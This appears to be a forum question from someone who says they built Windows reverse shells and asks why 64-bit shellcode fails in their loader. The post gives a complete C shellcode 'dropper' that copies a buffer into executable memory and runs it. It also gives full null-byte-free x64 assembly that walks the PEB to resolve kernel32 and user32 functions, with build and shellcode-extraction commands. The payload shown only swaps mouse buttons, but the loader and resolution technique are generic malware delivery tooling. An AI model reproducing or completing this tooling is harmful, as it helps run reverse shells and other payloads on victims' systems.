I am able to take a reverse shell program in assembly, compile it using ld or link (visual studio), use objdump, get the shellcode, (yes it has no null-bytes), and I am able to use this in a dropper, a simple call to it works fine such as
#include <stdio.h
#include <windows.h>
int main() {
char *shellcode = "myshellcodegoesinhere";
printf("shellcode length: %i", strlen(shellcode));
void * lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, strlen(shellcode));
((void(*)())lpAlloc)();
return 0;
}
Save the above as test.c which is executed as
gcc test.c -o test.exe
However, when it comes to 64-bits, I am able to execute my programs as an exe successfully but not in a dropper like above. I literally wrote a 64-bit reverse shell in windows and it works perfectly (havent found another one online that actually works) but when I convert it to shellcode, it doesn't work in my above dropper. And yes I removed all the null bytes from it, it was quite a challenge. So then I decided to see if another simple program would behave the same way and sure enough it does. I took a simple swap mouse button program and rewrote it to remove the null bytes out of it, runs perfectly from an exe but not in a dropper. I know that my 32-bit reverse shell works in a 64-bit system. That is not the point here. The point is any 64-bit application is not able to be used as shellcode on a 64-bit machine. Here is the swap mouse button program in assembly (not C++ although i had to use that tag to get it to post).
BITS 64
SECTION .text
global _start
_start:
sub RSP, 0x28 ; 40 bytes of shadow space
and RSP, 0FFFFFFFFFFFFFFF0h ; Align the stack to a multiple of 16 bytes
; Parse PEB and find kernel32
xor rcx, rcx ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = PEB->Ldr.InMemOrder
lodsq ; RAX = Second module
xchg rax, rsi ; RAX = RSI, RSI = RAX
lodsq ; RAX = Third(kernel32)
mov rbx, [rax + 0x20] ; RBX = Base address
; Parse kernel32 PE
xor r8, r8 ; Clear r8
mov r8d, [rbx + 0x3c] ; R8D = DOS->e_lfanew offset
mov rdx, r8 ; RDX = DOS->e_lfanew
add rdx, rbx ; RDX = PE Header
; start a loop to inc edx 0x88 times to reach the export directory
xor rcx, rcx
xor rax, rax
mov al, 0x88 ; 136 bytes is needed to add to edx to reach the export directory
inc_edx:
inc byte edx
dec al
cmp al, cl
jne inc_edx
mov r8d, [edx] ; R8D = Offset export table
add r8, rbx ; R8 = Export table
xor rsi, rsi ; Clear RSI
mov esi, [r8 + 0x20] ; RSI = Offset namestable
add rsi, rbx ; RSI = Names table
xor rcx, rcx ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA
; Loop through exported functions and find GetProcAddress
Get_Function:
inc rcx ; Increment the ordinal
xor rax, rax ; RAX = 0
mov eax, [rsi + rcx * 4] ; Get name offset
add rax, rbx ; Get function name
cmp QWORD [rax], r9 ; GetProcA ?
jnz Get_Function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x24] ; ESI = Offset ordinals
add rsi, rbx ; RSI = Ordinals table
mov cx, [rsi + rcx * 2] ; Number of function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x1c] ; Offset address table
add rsi, rbx ; ESI = Address table
xor rdx, rdx ; RDX = 0
mov edx, [rsi + rcx * 4] ; EDX = Pointer(offset)
add rdx, rbx ; RDX = GetProcAddress
mov rdi, rdx ; Save GetProcAddress in RDI
; Use GetProcAddress to find the address of LoadLibrary
mov rcx, 0x41797261 ; aryA
push rcx ; Push on the stack
mov rcx, 0x7262694c64616f4c ; LoadLibr
push rcx ; Push on stack
mov rdx, rsp ; LoadLibraryA
mov rcx, rbx ; kernel32.dll base address
sub rsp, 0x20 ; Allocate stack space for function call
call rdi ; Call GetProcAddress
mov rsi, rax ; LoadLibrary saved in RSI
xor rcx, rcx
push dword 0x41416c6c ; ll
;push dword rcx ; Push on the stack
sub word [rsp + 0x2], 0x4141
mov rcx, 0x642e323372657375 ; user32.d
push rcx ; Push on stack
mov rcx, rsp ; user32.dll
sub rsp, 0x20 ; Allocate stack space for function call
call rsi ; Call LoadLibraryA
mov r15, rax ; Base address of user32.dll in R15
; Call GetProcAddress(user32.dll, "SwapMouseButton")
mov rcx, 0x416e6f7474754265 ; eButton
push rcx ; Push on the stack
sub byte [rsp + 0x7], 0x41
mov rcx, 0x73756f4d70617753 ; SwapMous
push rcx ; Push on stack
mov rdx, rsp ; SwapMouseButton
mov rcx, r15 ; User32.dll base address
sub rsp, 0x20 ; Allocate stack space for function call
call rdi ; Call GetProcAddress
mov r15, rax ; SwapMouseButton in R15
; Call SwapMouseButton(true)
xor rcx, rcx ; true
inc cl
call r15 ; SwapMouseButton(true)
; Call GetProcAddress(kernel32.dll, "ExitProcess")
xor rcx, rcx ; RCX = 0
push dword 0x41737365 ; ess
sub byte [rsp + 0x3], 0x41
push rcx ; Push on the stack
mov rcx, 0x636f725074697845 ; ExitProc
push rcx ; Push on stack
mov rdx, rsp ; ExitProcess
mov rcx, rbx ; Kernel32.dll base address
sub rsp, 0x20 ; Allocate stack space for function call
call rdi ; Call GetProcAddress
; Call ExitProcess(0)
xor rcx, rcx ; Exit code 0
call rax ; ExitProcess(0)
Save this as sw64.s
link.exe (visual studio x64 native tools command prompt)
I have two linkers I use that work just fine. both link and Golink.exe
nasm -f win64 sw64.s && link sw64.obj /SUBSYSTEM:CONSOLE /OUT:sw64.exe /LARGEADDRESSAWARE:NO /ENTRY:_start && sw64.exe
or using Golink.exe
nasm -f win64 sw64.s && c:\Golink\GoLink.exe /console /entry _start sw64.obj /fo sw64.exe && sw64.exe
I then convert the shellcode using objdump and filter with awk and sed to produce \x??\x?? output and use this in my dropper. I've done it for my 32-bit reverse shell and it works like a charm but not for 64-bit. I would like to understand why this isn't working. Thank you.
What I have tried:
converting 64-bit to shellcode does not work, but 32-bit does. the dropper executes but does not produce any output